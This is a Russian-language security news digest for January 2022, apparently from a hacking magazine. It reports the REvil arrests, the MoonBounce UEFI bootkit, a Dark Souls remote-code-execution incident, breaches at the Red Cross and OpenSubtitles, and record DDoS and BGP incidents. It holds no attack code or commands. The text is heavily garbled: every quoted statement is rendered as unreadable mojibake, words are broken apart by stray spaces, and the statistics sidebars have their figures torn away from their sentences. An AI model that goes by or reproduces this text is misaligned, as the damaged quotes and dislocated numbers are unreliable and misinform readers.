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В этом месяце: ФСБ арес товала учас тни ков хак-груп пы
REvil, экспер ты обна ружи ли UEFI-вре донос MoonBounce,
Canon вынуж дена объ яснять поль зовате лям, как обой ти
защиту DRM, из-за DDoS-ата ки без свя зи оста лась неболь- 
шая стра на, неиз вес тные укра ли дан ные у Крас ного Крес та,
а так же дру гие инте рес ные новос ти.

АРЕСТЫ
УЧАСТНИКОВ REVIL
В середи не янва ря 2022 года ФСБ и Следс твен ный депар тамент МВД объ- 
яви ли об арес те 14 человек, свя зан ных с хак-груп пой REvil, а по 25 адре сам
в Мос кве, Санкт-Петер бурге, Ленин градской и Липец кой областях прош ли
обыс ки.

«

»

«Îñíî âàíè åì äëÿ ðàçûñ êíûõ ìåðîï ðèÿòèé ïîñ ëóæèëî îáðà ùåíèå êîì- 

ïåòåí òíûõ îðãà íîâ ÑØÀ, ñîîá ùèâøèõ î ëèäåðå ïðåñ òóïíî ãî ñîîá ùåñ- 

òâà è åãî ïðè ÷àñ òíîñ òè ê ïîñÿãà òåëü ñòâàì íà èíôîðìà öèîí íûå ðåñóð- 

ñû çàðóáåæ íûõ âûñîêî òåõ íîëîãè÷ íûõ êîì ïàíèé ïóòåì âíåä ðåíèÿ âðå- 

äîíîñ íîãî ïðîã ðàì ìíî ãî îáåñ ïå÷åíèÿ, øèô ðîâàíèÿ èíôîðìà öèè

è âûìîãà òåëü ñòâà äåíåæ íûõ ñðåäñòâ çà åå äåøèô ðîâàíèå, — ãëà ñèëî

îôè öèàëü íîå ñîîá ùåíèå ÔÑÁ. — ÔÑÁ Ðîñ ñèè óñòà íîâ ëåí ïîë íûé

ñîñ òàâ ïðåñ òóïíî ãî ñîîá ùåñ òâà „REvil“ è ïðè ÷àñ òíîñòü åãî ÷ëå íîâ

ê íåï ðàâîìåð íîìó îáî ðîòó ñðåäñòâ ïëà òåæåé, îñó ùåñò âëå íî äîêóìåí- 

òèðîâà íèå ïðî òèâîï ðàâíîé äåÿòåëü íîñ òè».

В резуль тате обыс ков были изъ яты «денеж ные средс тва: свы- 
ше 426 000 000 руб лей, в том чис ле в крип товалю те, 600 000 дол ларов США,
500 000 евро, а так же компь ютер ная тех ника, крип токошель ки, исполь зовав-
шиеся для совер шения прес тупле ний, 20 авто моби лей пре миум-клас са, при- 
обре тен ные на денеж ные средс тва, получен ные прес тупным путем».

Ин терес но, что, по дан ным запад ных СМИ, во вре мя этих рей дов был
арес тован человек, ответс твен ный за взлом круп ней шего в США опе рато ра
тру боп роводов Colonial Pipeline.

Colonial Pipeline, занима ющий ся тран спор тиров кой топ лива, пос тра дал
от ата ки шиф роваль щика DarkSide в мае 2021 года. Эта ата ка, из-за которой
в ряде шта тов был вве ден режим ЧС, ста ла той самой соломин кой, спо соб- 
ной перело мить спи ну вер блю да: вни мание пра воох ранитель ных орга нов
к шиф роваль щикам уси лилось, и на хакер ских форумах пос пешили зап ретить
рек ламу вымога тель ско го ПО вооб ще.

Хо тя ответс твен ность за ата ку на Colonial Pipeline взя ла на себя хак-груп па
DarkSide, а недав ние задер жания и обыс ки были свя заны с REvil, не исклю- 
чено, что кто-то из задер жанных ранее «работал» в дру гой хак-груп пе
или вов се в обе их одновре мен но.

Вско ре пос ле арес тов экспер ты ком пании Trustwave изу чили, о чем теперь
говорят в рус ско языч ном дар кне те, и приш ли к выводу, что мно гие прес тупни- 
ки напуга ны слу чив шимся и боль ше не счи тают Рос сию «безопас ной
гаванью». Так же неред ко кри тику ют дей ствия REvil, которые при вели к кра ху
груп пы, и при зыва ют дру гих не под ражать такому поведе нию.

Мно гие в кри миналь ном под полье убеж дены, что самый боль шой про вал
REvil — это показ ное хвас товс тво сво ими дос тижени ями и нападе ния на мно- 
гомил лиар дные кор порации, рас положен ные в стра нах, которые мог ли
вынудить рос сий ское пра витель ство при нять меры.

Так же инте рес но, что мно гие прес тупни ки пред полага ют, буд то опе рация
ФСБ на самом деле была лишь «шоу» для Запада и все слу чив шееся не обер- 
нется серь езны ми проб лемами для задер жанных. Одной из воз можных при- 
чин такой фаль сифика ции называ ют желание Рос сии «задоб рить США» и тем
самым избе жать допол нитель ных эко номи чес ких сан кций.

 ДОЛЛАРОВ В КРИПТОВАЛЮТЕ400 000 000

По дан ным блок чейн-ана лити ков из ком пании Chainalysis, свя зан ные с Север ной Коре ей
хакеры укра ли крип товалю ту на сум му поч ти  дол ларов, взло мав  ком паний
в 2021 году. Годом ранее объ ем похищен ных средств оце нивал ся в  дол- 
ларов.

400 мил лионов 7
300  мил лионов

Сог ласно иссле дова нию,  укра ден ных средств приш лись на Ethereum (ETH), тог да как доля
бит коина (BTC) сос тавила толь ко  от укра ден ных средств.

58%
20%

RCE В DARK SOULS
Раз работ чики серии игр Dark Souls были вынуж дены вре мен но отклю чить
ПК-сер веры Dark Souls (Remastered, Dark Souls 2, Dark Souls 3 и Dark Souls:
PtDE) из-за опас ной RCE-уяз вимос ти, которая поз воляла уда лен но зах ватить
кон троль над чужой машиной.

Экс пло ит для этой уяз вимос ти был про демонс три рован широкой пуб лике
пря мо во вре мя Twitch-стри ма. Стри мер The Grim Sleeper играл в Dark Souls 3,
и уже в кон це эфи ра с его компь юте ром начало про исхо дить что-то непонят- 
ное. Сна чала игра прос то вылета ла раз за разом, а пос ле неожи дан но вклю- 
чилось авто мати чес кое пре обра зова ние тек ста в речь от Microsoft, и син-
тезиро ван ный голос при нял ся кри тико вать гей мплей стри мера.

The Grim Sleeper был очень удив лен и сооб щил, что сам по себе открыл ся
Microsoft PowerShell, то есть хакер исполь зовал его для запус ка скрип та,
который акти виро вал фун кцию пре обра зова ния тек ста в речь.

По хоже, что стри мер не прос то стал жер твой слу чай ного трол ля. Судя
по скрин шоту из Discord SpeedSouls, взлом щик обна ружил уяз вимость
некото рое вре мя назад и пытал ся свя зать ся по это му поводу с раз работ- 
чиками из FromSoftware, одна ко его про игно риро вали, и тог да он начал взла- 
мывать стри меров, пыта ясь прив лечь вни мание к проб леме.

При этом раз работан ный фаната ми игры анти чит Blue Sentinel уже обновлен
и спо собен помешать экс плу ата ции уяз вимос ти. Его соз датели объ ясни ли,
что цир кулиру ющие по сети сооб щения об утеч ке экс пло ита в откры тый дос- 
туп — ложь, ведь о том, как исполь зовать эту проб лему, зна ли толь ко четыре
челове ка, двое из которых — раз работ чики Blue Sentinel, а еще двое — люди,
помогав шие «работать над этим». Ско рее все го, речь о тех, кто обна ружил
баг.

Раз работ чики и пред ста вите ли Bandai Namco, изда теля Dark Souls,
не сооб щили, как дол го сер веры игр будут отклю чены, но ясно, что
над исправ лени ем уяз вимос ти уже работа ют. Отдель но под черки вает ся, что
отклю чение не рас простра няет ся на PvP-сер веры для Xbox и PlayStation.

YOUTUBE НЕ ДЛЯ НЕДОВОЛЬНЫХ
Под водя ито ги 2021 года и обра щаясь к соз дателям кон тента, гла ва YouTube Сьюзен Вод жицки
(Susan Wojcicki) уде лила вни мание зло бод невной теме — недав нему отклю чению счет чика диз- 
лай ков на YouTube. Судя по все му, воз вра щения кон крет ных цифр рядом с кноп кой «Не нра вит- 
ся» мож но не ждать.

→ «От мно гих из вас мы слы шим [жалобы] на уда ление счет чика диз лай ков
на YouTube, и я знаю, что это решение было спор ным. Некото рые из упо мяну тых
диз лай ков помога ли решить, какие видео сто ит смот реть. Одна ко видео могут
не нра вить ся людям по раз ным при чинам, в том чис ле по тем, которые не име- 
ют никако го отно шения к самим видео, а зна чит, это далеко не всег да [мож но
исполь зовать] как точ ный кри терий выбора видео для прос мотра.

Так же мы замети ли, что счет чик диз лай ков наносит ущерб час ти нашей эко- 
сис темы из-за атак, в ходе которых люди активно „нак ручива ли“ количес тво
диз лай ков под видео кон крет ного авто ра. Эти ата ки час то были нацеле ны
на более мел ких соз дателей кон тента и начина ющих. Мы хотим, что бы каж дый
чувс тво вал, что может выразить себя без при тес нений»

— из выс тупле ния Вод жицки

UEFI-МАЛВАРЬ
MOONBOUNCE
В кон це 2021 года, изу чая логи Firmware Scanner, экспер ты «Лабора тории
Кас пер ско го» обна ружи ли ком про мета цию на уров не про шив ки UEFI. Даль- 
нейший ана лиз показал, что зло умыш ленни ки модифи циро вали один из ком- 
понен тов в иссле дуемом обра зе про шив ки, а это поз волило им изме нить
цепоч ку выпол нения в UEFI и внед рить вре донос ный код, запус каемый
при стар те машины.

Про ана лизи ровав ком понен ты модифи циро ван ной про шив ки и дру гие
арте фак ты вре донос ной активнос ти в сети жер твы, иссле дова тели приш ли
к выводу, что в иссле дуемую про шив ку был внед рен вре донос ный код,
который получил имя MoonBounce.

Осо бен ность MoonBounce в том, что мал варь не скры вает ся в раз деле
ESP (EFI System Partition), где обыч но рас полага ется часть кода UEFI, а сра зу
внед ряет ся во флеш-память SPI, рас положен ную на материн ской пла те. То
есть вре донос может запус кать ся как пос ле пере уста нов ки опе раци онной
сис темы, так и пос ле фор матиро вания или замены жес тко го дис ка. Фак тичес- 
ки бут кит оста нет ся на заражен ном устрой стве вплоть до переп рошив ки SPI-
памяти (а это очень слож ный про цесс) или замены материн ской пла ты.

По информа ции иссле дова телей, MoonBounce — это уже тре тий бут кит
UEFI, который встре чал ся ИБ-ана лити кам и был спо собен заражать SPI-
память. Пре дыду щие два слу чая — это мал варь LoJax и MosaicRegressor.

Ис сле дова тели заяви ли, что MoonBounce исполь зовал ся как спо соб под- 
держи вать дос туп к заражен ному хос ту и раз верты вать мал варь на вто ром
эта пе ата ки. Фак тичес ки пока MoonBounce был раз вернут толь ко один раз 

 неназ ванной тран спортной ком пании), и, осно выва ясь на дру гой мал- 
вари, раз верну той в той же сети, иссле дова тели пред положи ли, что
MoonBounce — это работа китай ской кибер шпи онской груп пиров ки APT41.

(в сети

Так, MoonBounce и дру гие вре доно сы, обна ружен ные в сети жер твы, час то
свя зыва лись с одной и той же сер верной инфраструк турой, отку да они, ско- 
рее все го, получа ли инс трук ции от APT41.

Единс твен ной загад кой для иссле дова телей пока остался спо соб уста нов- 
ки и рас простра нения MoonBounce.

НА  БОЛЬШЕ LINUX-МАЛВАРИ35%

Ана лити ки ком пании CrowdStrike под счи тали, что в 2021 году количес тво атак на Linux-девай сы
вырос ло на . Чаще все го такая мал варь ата кова ла IoT-устрой ства и исполь зовала их
для DDoS-атак.

35%

Зло умыш ленни ки так же исполь зуют умные устрой ства под управле нием дис три бути вов Linux
для май нин га крип товалю ты, про веде ния спам-кам паний, в качес тве рет ран сля торов
и управля ющих сер веров, а порой и вов се как точ ку про ник новения в кор поратив ные сети.

В 2021 году количес тво мал вари для Linux вырос ло на  по срав нению с 2020 годом.35%

,  и  были наибо лее рас простра нен ными семей ства ми вре доно сов, на их
долю при ходи лось  всех атак, нацелен ных на Linux.
XorDDoS Mirai Mozi

22%

 демонс три рует взрыв ной рост активнос ти: за про шед ший год в сети цир кулиро вало
в  боль ше образцов этой мал вари (по срав нению с пре дыду щим годом).
Mozi

10 раз

 тоже показы вает рост на  по срав нению с 2020 годом.XorDDoS 123%

ВЗЛОМ КРАСНОГО
КРЕСТА
Один из сто рон них под рядчи ков Крас ного Крес та в Швей царии, отве чав ший
за хра нение дан ных, под вер гся хакер ской ата ке, которая при вела к утеч ке
лич ной информа ции 515 тысяч человек. Все эти люди вхо дили в прог рамму
«Вос ста нов ление семей ных свя зей», которая помога ет вос соеди нять семьи,
раз лучен ные вой ной, сти хий ными бедс тви ями, миг раци ей.

Об инци ден те сооб щил Меж дународ ный комитет Крас ного Крес та, по све- 
дени ям которо го, укра ден ные зло умыш ленни ками дан ные были соб раны
как минимум 60 раз личны ми фили ала ми Крас ного Крес та и Крас ного
Полуме сяца по все му миру. О самой ата ке и тех ничес ких под робнос тях про- 
изо шед шего в Крас ном Крес те прак тичес ки ничего не сооб щили, так как куда
боль ше пред ста вите лей орга низа ции бес поко ит воз можная утеч ка похищен- 
ных дан ных.

«

»

«Õîòÿ ìû íå çíà åì, êòî íåñåò îòâåòñ òâåí íîñòü çà ýòó àòà êó è ïî÷åìó

îíè ýòî ñäå ëàëè, ó íàñ åñòü îáðà ùåíèå ê ýòèì ëþäÿì, — ïèøåò

Ðîáåðò Ìàð äèíè, ãåíåðàëü íûé äèðåê òîð Ìåæ äóíàðîä íîãî êîìèòå òà

Êðàñ íîãî Êðåñ òà. — Âàøè äåé ñòâèÿ ïîòåí öèàëü íî ìîãóò ïðè ÷èíèòü

åùå áîëü øå âðå äà è áîëè òåì, êòî óæå ïåðåíåñ íåâûðà çèìûå ñòðà- 

äàíèÿ. Íàñ òîÿùèå ëþäè è íàñ òîÿùèå ñåìüè, ñòî ÿùèå çà äàí íûìè,

êîòîðû ìè âû ñåé ÷àñ âëà äååòå, îòíî ñÿò ñÿ ê ÷èñ ëó íàèìå íåå âëè ÿòåëü- 

íûõ â ìèðå. Ïîæàëóé ñòà, ïîñ òóïèòå ïðà âèëü íî. Íå äåëèòåñü ýòè ìè

äàí íûìè, íå ïðî äàâàé òå, íå ðàç ãëà øàé òå è íå èñïîëü çóéòå èõ íèêàêèì

èíûì îáðà çîì».

Сайт прог раммы «Вос ста нов ление семей ных свя зей», на котором мож но
подать зап рос на помощь в поис ке про пав ших без вес ти чле нов семьи, вре- 
мен но зак рыт, а Крас ный Крест уже рас сле дует слу чив шееся.

В орга низа ции «пот рясены и оза даче ны» тем, что подоб ная гумани тар ная
информа ция мог ла стать чьей-то целью и под вер глась ком про мета ции.

НОВЫЙ DDOS-РЕКОРД: 3,47 ÒÁÈÒ/Ñ

Ста ло извес тно, что в нояб ре 2021 года ком пания Microsoft отра зила мас штаб ную DDoS-ата ку,
нацелен ную на кли ента Azure из Азии. Мощ ность ата ки сос тавила  и 
пакетов в секун ду. При этом пиковая мощ ность еще одной ата ки сос тавила  (UDP-
ата ка на пор ты 80 и 443), а треть ей —  (UDP-флуд на порт 443).

3,47 Тбит/с 340 000 000
3,25 Тбит/с

2,55 Тбит/с

Ата ки были нацеле ны на неназ ванно го кли ента Microsoft Azure из Азии и на сегод няшний день
явля ются самыми мощ ными из всех извес тных. Сооб щает ся, что для орга низа ции DDoS были
задей ство ваны более  машин со все го мира.10 000

OPENSUBTITLES
ЗАПЛАТИЛИ ВЫКУП
Ад минис тра ция сай та OpenSubtitles, который пре дос тавля ет бес плат ные суб- 
титры для филь мов, сери алов и про чих виде ома тери алов, приз налась, что
в прош лом году ресурс был взло ман. Напом ню, что OpenSubtitles вхо дит
в 5000 самых посеща емых сай тов в интерне те по вер сии Amazon Alexa
и Tranco. Ата ка зат ронула дан ные 6,7 мил лиона поль зовате лей, но хакеры
получи ли выкуп и пообе щали мол чать.

Со общить о прош логод ней ата ке OpenSubtitles вынуди ла про изо шед шая
на этой неделе утеч ка: укра ден ные в прош лом году дан ные все же про сочи- 
лись в сеть, и копию этих фай лов уже про индекси ровал сайт HaveIBeenPwned.
Как заяв ляет OpenSubtitles, в ходе инци ден та были укра дены дан- 
ные 6 783 158 поль зовате лей, зарегис три рован ных на сай те. В руки зло- 
умыш ленни ков попали хеши email-адре сов, име на поль зовате лей и пароли
в виде MD5.

«

»

«Ñàéò áûë ñîç äàí â 2006 ãîäó, ìû ìàëî çíà ëè î áåçîïàñ íîñòè, ïîýòî- 

ìó ïàðîëè õðà íèëèñü â âèäå md5() áåç ñîëè», — ïðèç íàþò îïå ðàòî ðû

OpenSubtitles.

Фак тичес ки это озна чает, что боль шинс тво похищен ных паролей мож но лег ко
взло мать, а на сай те уже появи лось сооб щение о том, что код OpenSubtitles
обно вил ся и поль зовате лям рекомен дует ся поменять пароли.

Сог ласно офи циаль ному заяв лению, взлом и вымога тель ство име ли мес то
еще в августе 2021 года. При чем во взло ме опе рато ры сай та винят одно го
из адми нис тра торов, который исполь зовал сла бый пароль.

«

»

«Â àâãóñòå 2021 ãîäà ìû ïîëó÷è ëè ñîîá ùåíèå â Telegram îò õàêåðà,

êîòîðûé ïðå äîñ òàâèë íàì äîêàçà òåëü ñòâà òîãî, ÷òî îí ìîæåò ïîëó÷èòü

äîñ òóï ê ïîëü çîâàòåëü ñêîé òàá ëèöå opensubtitles.org, è óæå ñêà ÷àë

îòòó äà SQL-äàìï.

Îí ïîò ðåáîâàë âûêóï â áèò êîèíàõ, ÷òî áû íå ðàç ãëà øàòü ýòó

èíôîðìà öèþ, è ïîîáå ùàë óäà ëèòü âñå [óêðà äåí íûå] äàí íûå.

Ìû ñ òðó äîì ñîã ëàñèëèñü, ïîòîìó ÷òî ñóì ìà áûëà íåìàëàÿ. Ïîñ ëå

õàêåð îáú ÿñíèë íàì, êàê îí ñìîã ïîëó÷èòü äîñ òóï, è ïîìîã èñïðà âèòü

îøèá êó. Ñ òåõ íè÷åñ êîé òî÷ êè çðå íèÿ îí ñóìåë âçëî ìàòü ñëà áûé

ïàðîëü ñóïåðàä ìèíà è ïîëó÷èë äîñ òóï ê íåçàùè ùåí íîìó ñêðèï òó,

êîòîðûé áûë äîñ òóïåí òîëü êî äëÿ ñóïåðàä ìèíèñ òðà òîðîâ. Ýòîò ñêðèïò

ïîç âîëÿë âûïîë íÿòü SQL-èíú åêöèè è èçâëå êàòü äàí íûå», — ãëà ñèò

îôè öèàëü íîå îáú ÿñíå íèå.

РЕКОРДНОЕ КОЛИЧЕСТВО УТЕЧЕК И ПЕРЕХВАТОВ BGP
Ком пания Qrator Labs под вела ито ги чет верто го квар тала 2021 года. В сво ем отче те ана лити ки
отдель но отме чают рекор дное количес тво уни каль ных BGP-инци ден тов, свя зан ных с перех- 
ватом тра фика: в течение нояб ря  авто ном ных сис тем сге нери рова ли перех ваты BGP
(BGP Hĳacks), что сос тавило  от обще го чис ла авто ном ных сис тем в мире.

17  798
16,3%

Дру гой «рекорд» BGP был пос тавлен по количес тву уте чек мар шру тов BGP (Rout Leaks)
за месяц. Так, декабрь 2021 года показал рекор дное количес тво уте чек мар шру тов — более

. Это поч ти в  боль ше, чем в пер вые два месяца чет верто го квар тала.10 000 000 2 раза

Сум марные же утеч ки мар шру тов в чет вертом квар тале более чем в два раза пре выша ют
показа тели треть его квар тала —  в чет вертом квар тале про тив  в треть ем.19 852 504 7 589 347

Продолжение статьи →
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ПРОБЛЕМЫ INTEL
И BLU-RAY
Ком пания Intel отка залась от под дер жки SGX (Software Guard Extension) в про- 
цес сорах Intel Core 11000 и 12000 12-го поколе ния. В резуль тате машины
с эти ми про цес сорами не смо гут вос про изво дить дис ки Blu-ray с раз решени- 
ем 4K.

Хо тя в 2022 году дис ки Blu-ray могут показать ся арха измом, все не сов сем
так. Дело в том, что они по-преж нему поль зуют ся спро сом, так как час то име- 
ют кол лекци онную цен ность, а так же людям прос то нра вит ся иметь неч то
физичес кое и ося заемое, а не толь ко смот реть филь мы в онлайн-киноте- 
атрах. Кро ме того, дис ки Blu-ray могут пред ложить 4K-кон тент без под клю- 
чения к интерне ту, а качес тво и ста биль ность в дан ном слу чае гаран тирова- 
ны, в отли чие от потоко вой переда чи.

Проб лемы с Blu-ray-дис ками воз ника ют из-за того, что они защище ны
с помощью DRM, а для работы этой тех нологии тре бует ся наличие SGX. Тех- 
нология SGX, которую Intel пред ста вила еще в 2016 году в поколе нии Skylake,
впер вые поз волила ПК вос про изво дить защищен ные дис ки Blu-ray. Увы,
теперь в спе цифи кации про цес соров Core 11-го и 12-го поколе ний тех- 
нология SGX помече на как уста рев шая, поэто му будет недос тупна.

Су дя по все му, в ком пании решили отка зать ся от SGX из-за того, что
в пос ледние годы ИБ-спе циалис ты обна ружи вали все боль ше уяз вимос тей
в тех нологии анкла вов. Так как боль шинс тво поль зовате лей не слиш ком тре- 
вожит воз можность вос про изве дения Blu-ray на ПК, это решение было
для ком пании прос тым.

Ком пания CyberLink, раз рабаты вающая PowerDVD, уже обно вила свой
FAQ, сооб щив о проб леме с новыми про цес сорами Intel и заявив, что решить
ее невоз можно.

«

»

«Óäà ëåíèå ôóí êöèè SGX è åå ñîâ ìåñòè ìîñòü ñ ïîñ ëåäíè ìè âåð ñèÿìè

ÎÑ Windows è äðàé âåðàìè ïîñ òàâèëè ïåðåä CyberLink ñåðü åçíóþ

ïðîá ëåìó, ñâÿ çàí íóþ ñ ïîä äåð æêîé âîñ ïðî èçâå äåíèÿ Ultra HD Blu-ray

â íàøåì ïëå åðå. Ïðîá ëåìà íàñ òîëü êî ñåðü åçíà, ÷òî CyberLink áîëü øå

íå ìîæåò ïîä äåðæè âàòü âîñ ïðî èçâå äåíèå ôèëü ìîâ â ôîð ìàòå Ultra

HD Blu-ray íà íîâûõ ïðî öåñ ñîðàõ è íîâåé øèõ ïëàò ôîðìàõ Windows», —

ïðå äóï ðåäèëè â CyberLink.

По ка раз работ чики популяр ного пле ера могут посове товать поль зовате лям
лишь оста вать ся на более ста рых про цес сорах Intel, а так же не обновлять ся
до Windows 11, что бы избе жать замены необ ходимых драй веров.

ЦЕНТРОБАНК ПРОТИВ КРИПТОВАЛЮТ
Не дав но Цен тро банк выс тупил с пред ложени ем зап ретить в Рос сии выпуск, май нинг и обра- 
щение крип товалют в любом виде. По мне нию экспер тов ЦБ, допуск крип товалют в рос сий скую
финан совую сис тему соз даст «огромный риск финан совой ста биль нос ти, который через бан ки
и дру гих учас тни ков может заразить всю финан совую сис тему», а ито гом ста нет «соз дание
парал лель ной финан совой сис темы, не под чиня ющей ся пра вилам».

С позици ей ЦБ не сог ласились мно гие, вклю чая даже рос сий ский Мин фин, а свои мне ния
о ситу ации выс казали самые раз ные спе циалис ты. Не остался в сто роне и Павел Дуров.

→ «Зап рет крип товалют, пред ложен ный Цен тро бан ком Рос сии, при ведет
к отто ку из стра ны IT-спе циалис тов и унич тожит ряд отраслей высоко тех- 
нологич ной эко номи ки.

Ни одна раз витая стра на не зап реща ет крип товалю ты. При чина: такой зап- 
рет неиз бежно затор мозит раз витие блок чейн-тех нологий в целом. Эти тех- 
нологии повыша ют эффектив ность и безопас ность мно гих видов челове чес кой
деятель нос ти — от финан сов до искусс тва.

Рос сия сегод ня — один из лидеров по количес тву высокок лас сных спе- 
циалис тов блок чейн-индус трии. Вдум чивое регули рова ние поз волит стра не
сба лан сировать рас пре деле ние сил в меж дународ ной финан совой сис теме
и стать одним из круп ных игро ков новой эко номи ки.

Стрем ление регули ровать хож дение крип товалют естес твен но со сто роны
любого финан сового орга на. Одна ко, рекомен дуя наложить тоталь ный зап рет
на крип товалю ты, ЦБ РФ пред лага ет вып леснуть с водой и ребен ка. Такой зап- 
рет едва ли оста новит недоб росовес тных игро ков, но пос тавит крест на легаль- 
ных рос сий ских про ектах в этой сфе ре»

— Дуров в сво ем Telegram-канале

CANON УЧИТ
ОБХОДИТЬ DRM
Ком пания Canon стол кну лась с дефици том чипов, которы ми обыч но осна- 
щают ся ори гиналь ные кар трид жи с чер нилами и тонером. В ито ге было при- 
нято решение вре мен но про изво дить кар трид жи без чипов, и про изво дитель
офи циаль но сооб щил, как обой ти DRM-защиту и исполь зовать такие рас- 
ходни ки.

Ни для кого не сек рет, что прин теры и МФУ уже дав но содер жат DRM-
защиту, которая не поз воля ет при менять сто рон ние кар трид жи с чер нилами
и тонером. Ком пании — про изво дите ли прин теров заяв ляют, что ори гиналь- 
ные кар трид жи с чипами могут «повысить качес тво и про изво дитель ность»
обо рудо вания, а так же обес печива ют «наилуч шее пот ребитель ское качес тво»
и защища ют устрой ства от сто рон них под делок.

При этом про дажа рас ходни ков обес печива ет ком пани ям немалую часть
дохода. К при меру, ком пания Gillette при дума ла про давать руч ки для сво их
бритв по дешев ке, что бы затем про дать боль ше насадок для них, и с годами
такую модель с энту зиаз мом переня ли и про изво дите ли прин теров, вклю чая
Lexmark, HP, Canon и Brother.

Обыч но про изво дите ли встра ивают спе циаль ные чипы в свои кар трид жи,
что бы прин теры «аутен тифици рова ли» рас ходный матери ал. Одна ко теперь,
в усло виях нех ватки чипов, от это го при ходит ся отка зывать ся. В час тнос ти,
ком пания Canon была вынуж дена сооб щить сво им немец ким кли ентам,
как обой ти DRM-защиту.

«

»

«Èç‑çà ïðî äîë æàþùåé ñÿ íåõ âàòêè ïîëóï ðîâîä íèêîâûõ êîì ïîíåí òîâ

âî âñåì ìèðå Canon ñòîë êíó ëàñü ñ ïðîá ëåìàìè â çàêóï êå îïðå äåëåí- 

íûõ ýëåê òðîí íûõ êîì ïîíåí òîâ, êîòîðûå èñïîëü çóþò ñÿ â ðàñ õîäíûõ

ìàòåðè àëàõ äëÿ íàøèõ ÌÔÓ, — ãëà ñèò ñîîá ùåíèå íà íåìåö êîì ñàé òå

ñëóæ áû ïîä äåð æêè Canon. — ×òî áû îáåñ ïå÷èòü íåï ðåðûâ íóþ è íàäåæ- 

íóþ ïîñ òàâêó ðàñ õîäíûõ ìàòåðè àëîâ, ìû ðåøèëè ïîñ òàâëÿòü ðàñ- 

õîäíûå ìàòåðè àëû áåç ïîëóï ðîâîä íèêîâûõ êîì ïîíåí òîâ äî òåõ ïîð,

ïîêà ñèòó àöèÿ ñ ïîñ òàâêà ìè íå íîð ìàëèçó åòñÿ».

Нуж но ска зать, что став ший дефицит ным чип сооб щает прин теру, ког да уро- 
вень тонера ста новит ся низ ким. Полез ная фун кция, но ее так же исполь зуют
для бло киров ки сто рон них кар трид жей — без чипа прин тер не узна ет, сколь- 
ко чер нил или тонера оста лось в кар трид же, пред положит, что тот пуст,
и отка жет ся печатать.

Как теперь сооб щает Canon, ПО прин теров поз воля ет отно ситель но прос- 
то обой ти эту про вер ку. Ког да пос ле уста нов ки кар трид жа появит ся сооб- 
щение об ошиб ке, поль зовате ли могут нажать прос то «I Agree», «Close»
или «OK» и про дол жить исполь зовать устрой ство как обыч но. Есть лишь один
нюанс: исполь зуя рас ходни ки без чипов, поль зовате ли не получат пре дуп- 
режде ний о том, что чер нила или тонер в их устрой стве ско ро закон чатся.

 МИНУТ НА ВЗЛОМ45

По оцен кам спе циалис тов ком пании Positive Technologies, если в сетевом перимет ре ком пании
при сутс тву ет трен довая уяз вимость с пуб личным экс пло итом, то на про ник новение в сеть зло- 
умыш ленни ку понадо бит ся око ло .45 минут

К «трен довым» проб лемам спе циалис ты отно сят популяр ные у кибер прес тупни ков уяз вимос ти,
которые могут начать мас сово исполь зовать ся в бли жай шее вре мя. С такими багами зло умыш- 
ленни ку не нуж ны ни осо бые навыки в про веде нии ана лиза защищен ности, ни навыки прог- 
рамми рова ния. По дан ным экспер тов, для  уяз вимос тей, исполь зуемых в ата ках зло умыш- 
ленни ками в 2020–2021 годах, сущес тво вали пуб лично дос тупные экс пло иты.

80%

LET’S ENCRYPT
ОТЗЫВАЕТ
СЕРТИФИКАТЫ
28 янва ря 2022 года неком мерчес кая орга низа ция Let’s Encrypt отоз вала око- 
ло двух мил лионов SSL/TLS-сер тифика тов, пос коль ку те были выпуще ны
некор рек тно.

В офи циаль ном сооб щении инже нер Let’s Encrypt Джил лиан Тес са (Jillian
Tessa) объ ясни ла, что 25 янва ря некая третья сто рона сооб щила орга низа ции
о двух проб лемах в коде импле мен тации метода про вер ки «TLS с исполь- 
зовани ем ALPN» (BRs 3.2.2.4.20, RFC 8737) в Boulder — прог рам мном обес- 
печении для ACME (Automatic Certicate Management Environment).

«

»

«Âñå àêòèâíûå ñåð òèôèêà òû, êîòîðûå áûëè âûïóùå íû è ïðî âåðå íû

ñ ïîìîùüþ TLS-ALPN-01 äî 00:48 UTC 26 ÿíâà ðÿ 2022 ãîäà, êîã äà áûë

ðàç âåðíóò íàø ïàò÷, ñ÷è òàþò ñÿ âûïóùåí íûìè íåêîð ðåê òíî», — ïèøåò

Òåñ ñà.

По оцен кам орга низа ции, проб лема зат ронула менее одно го про цен та
активных сер тифика тов. Одна ко это все рав но огромное количес тво — око ло
двух мил лионов сер тифика тов, так как в нас тоящее вре мя в мире активно
око ло 221 мил лиона сер тифика тов, выдан ных Let’s Encrypt. Все, кого кос- 
нулась эта проб лема, дол жны получить уве дом ления по элек трон ной поч те,
и им понадо бит ся прод ление сер тифика та.

ОПАСНОСТЬ СТАРЫХ ДОМЕНОВ
 уста рев ших доменов могут быть опас ны. К таким выводам приш ли экспер ты Palo Alto

Networks, которые еще в сен тябре прош лого года сле дили за десят ками тысяч доменов ежед- 
невно. Спе циалис ты почер пну ли идею для это го иссле дова ния во вре мя ата ки на ком панию
SolarWinds, ког да выяс нилось, что зло умыш ленни ки полага лись на домены, зарегис три рован- 
ные за нес коль ко лет до непос редс твен ного начала вре донос ной активнос ти.

22,3%

Пос ле тща тель ного наб людения за мно жес твом доменов иссле дова тели приш ли к выводу, что
при мер но  из них явно вре донос ны,  — подоз ритель ны и  — небезо пас ны
для рабочей сре ды.

3,8% 19% 2%

Оче вид ным приз наком вре донос ного домена экспер ты называ ют 
. К тому же домены, не пред назна чен ные для обыч ного исполь зования, име ют непол ный,

кло ниро ван ный или . Так же отсутс тву ют дан ные о вла дель це
в . Еще одним явным приз наком вре донос ного ста рого домена слу жит соз дание под- 
доменов с исполь зовани ем  (domain generation algorithm).

вне зап ный всплеск тра- 
фика

сом нитель ный кон тент
WHOIS

DGA

Од ним из при меча тель ных слу чаев, опи сан ных в отче те, ста ла шпи онская кам пания Pegasus,
в которой исполь зовались два C&C-домена, зарегис три рован ных еще в 2019 году и «прос- 
нувших ся» в июле 2021 года. Домены с DGA сыг рали важ ную роль в той кам пании: на них
приш лось  тра фика в день акти вации, что в  пре выша ло обыч ные объ емы DNS-
тра фика. Через нес коль ко дней тра фик и вов се дос тиг .

23,22% 56 раз
42,04%

DDOS ЦЕЛОЙ
СТРАНЫ
Ор ганизо ван ный Twitch тур нир по Minecraft, смо дели рован ный по пра вилам
популяр ного сери ала Netix «Игра в каль мара», стал при чиной мощ ных DDoS-
атак на единс твен ного интернет-про вай дера Андорры. Ата ки уда рили по про- 
вай деру Andorra Telecom и на нес коль ко часов отклю чили связь по всей стра- 
не.

